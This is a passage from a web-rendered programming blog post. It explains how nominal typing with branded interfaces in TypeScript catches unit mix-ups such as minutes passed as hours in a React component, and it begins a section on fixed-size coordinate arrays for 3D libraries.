&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;entries&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;employee&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;shiftHours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;day&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]) &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;day&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;/* We are showing minutes as hours… whoops! */&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;          &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;day&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;      ))&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Using this React component that display the information for an employee we won&amp;#x27;t have errors or exceptions in runtime, and in fact TypeScript considers it as correct.&lt;/p&gt;&lt;p&gt;The problem with this implementation is that we are &lt;a href=&quot;https://en.wikipedia.org/wiki/Subtyping#Subsumption&quot;&gt;subsuming&lt;/a&gt; &lt;em&gt;(a strange word worth learning!)&lt;/em&gt; everything as &lt;code&gt;number&lt;/code&gt;. The &lt;code&gt;number&lt;/code&gt; type is completely generic, and therefore the compiler does not enforce the correctness of the units of measurement. However, thanks to TypeScript, we can avoid this type of logical errors by using a pattern called &lt;strong&gt;Nominal Typing&lt;/strong&gt;. This technique involves adding more strict annotations to basic types, such as numbers or strings, allowing to type check their content as well.&lt;/p&gt;&lt;p&gt;A first solution would be to use a type alias. We soon realize, however, that it does not work as we would expect:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescriptreact&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; hours&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;App&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// We don&amp;#x27;t get an error! 😕&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=13&amp;amp;pc=1#code/C4TwDgpgBAEg9gVwE4GcoF4oDsEFsBGESA3ALABQFokUAsgJY7ARqY4FFmXkBmCWAY2D04WWIiQAReijAAbAIYgAFAG8oACwloAvgC4o6rchQH4JqDoCUhilChIIwZGIA8APlXHUOzdtcA9O5cOhQUfILColAAgmBgyjaqdlACoijAUMwZBgxMLBhQAGwADFz2js5IbuZSMvJKfiboqtnAvkEhFEA&quot;&gt;Try it on Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;This way a developer who use the &lt;code&gt;HourDisplay&lt;/code&gt; component won&amp;#x27;t even notice in the autocompletion that the expected type is in hours (&lt;code&gt;Hours&lt;/code&gt;), since the aliases are removed for clarity.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/5a791/isense.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:46.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;187\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20187\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2094v93h401V0H0v94m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/c85cb/isense.webp 300w,/static/60d8cd6ed9c2dac399b558ba8eb03162/e88ff/isense.webp 600w,/static/60d8cd6ed9c2dac399b558ba8eb03162/92f8c/isense.webp 1200w,/static/60d8cd6ed9c2dac399b558ba8eb03162/1b8e7/isense.webp 1248w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/5a46d/isense.png 300w,/static/60d8cd6ed9c2dac399b558ba8eb03162/0a47e/isense.png 600w,/static/60d8cd6ed9c2dac399b558ba8eb03162/c1b63/isense.png 1200w,/static/60d8cd6ed9c2dac399b558ba8eb03162/5a791/isense.png 1248w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Type aliases are not directly clear from IntelliSense&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/60d8cd6ed9c2dac399b558ba8eb03162/c1b63/isense.png&quot; title=&quot;Type aliases are not directly clear from IntelliSense&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Type aliases are not directly clear from IntelliSense&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The code above compiles without errors, since TypeScript uses &lt;strong&gt;Structural Typing&lt;/strong&gt;, not &lt;em&gt;Nominal Typing&lt;/em&gt;. This means that checking whether two types are compatible is done with their content, not their name. This behavior may seem strange if a developer comes from languages like Java or C#, in fact it comes from functional languages like Haskell or OCaml.&lt;/p&gt;&lt;p&gt;To solve this problem and check the types in a nominal way there are many possible approaches, both runtime based and compile-time only. However, all these patterns have in common adding a &lt;strong&gt;tag&lt;/strong&gt; field to an object that acts as &lt;strong&gt;discriminant&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;The standard solution, used by TypeScript compiler developers themselves, is the following, based on a &lt;code&gt;void&lt;/code&gt; tag present only at compile-time:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescriptreact&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_hoursBrand&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;_minutesBrand&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;({ &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }: { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; }) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; hours&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;App&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Type assertion&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;60&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; } &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;Minutes&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;// Next line yields an error, as expected&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line grvsc-line-highlighted&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;HourDisplay&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;hours&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/play/index.html?jsx=1&amp;amp;ssl=1&amp;amp;ssc=1&amp;amp;pln=21&amp;amp;pc=2#code/JYOwLgpgTgZghgYwgAgBIHsCuUDOyDeAsAFDLID6AFlrgEJRwgAmAXMgG7rBMA0JZ7OABtMENiEwBbAEbQA3CQC+JEqEixEKALKhMkPEVIVJu-fUasOXJgqOCRY5BJnylK4jEwgEYYOhBoNAAiwDgADkJwAJ4AFPjI1Nh4imzxibhsGEnIigCUBPzIUBBg2AEAPAB8+Ok4AHT2oooJNDjlAPSVbsQknt6+-sgAgmFhMfmGZO3tyAAqUWEocDg40AMghQj+OGDI+rsAvAQcwqJsAGwADDnIy8g6Evq2hdPIAIqiO3BFwADm30w4FAAAfILzIaBQdDFHjILaSFAIYC3cIlXxwSToQrFUpQCpZKAhcKRKItJIHfD7ZqdWyKIA&quot;&gt;Try it on Playground&lt;/a&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;This pattern is very useful not only when managing time units, but also in many other cases. For example, we have used this technique on some projects to manage multiple identifiers types, adding nominal types to strings. This allowed us to save a lot of testing time given the complexity of the domain.&lt;/p&gt;&lt;p&gt;For more information about Nominal Typing, I recommend reading this &lt;a href=&quot;https://michalzalecki.com/nominal-typing-in-typescript/&quot;&gt;article&lt;/a&gt; and this &lt;a href=&quot;https://github.com/kourge/ts-brand&quot;&gt;library&lt;/a&gt;.&lt;/p&gt;&lt;h1 id=&quot;3--constant-size-arrays-xyz-coordinates&quot;&gt;3. 📌 Constant size arrays: XYZ coordinates&lt;/h1&gt;&lt;p&gt;In SMC we love 3D graphics, especially on the Web. But when using many different libraries like &lt;a href=&quot;https://threejs.org/&quot;&gt;Three.JS&lt;/a&gt; and &lt;a href=&quot;https://github.com/react-spring/react-three-fiber&quot;&gt;react-three-fiber&lt;/a&gt;, not all of them handle the coordinates in the same way.&lt;/p&gt;&lt;p&gt;While some handles them as objects with x, y and z, in other libraries we find the coordinates represented as a three-element array &lt;code&gt;[x, y, z]&lt;/code&gt;:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// With Objects (THREE.Vector3)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = { &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;x:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;y:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;z:&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// With Arrays&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;p2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = [&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;];&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;When some functions expect coordinates as arrays and other as objects, it&amp;#x27;s very easy to make mistakes, producing errors in the console that are not immediately understood:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;typescript&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;// We got our points&lt;/span&gt;&lt;/span&gt;
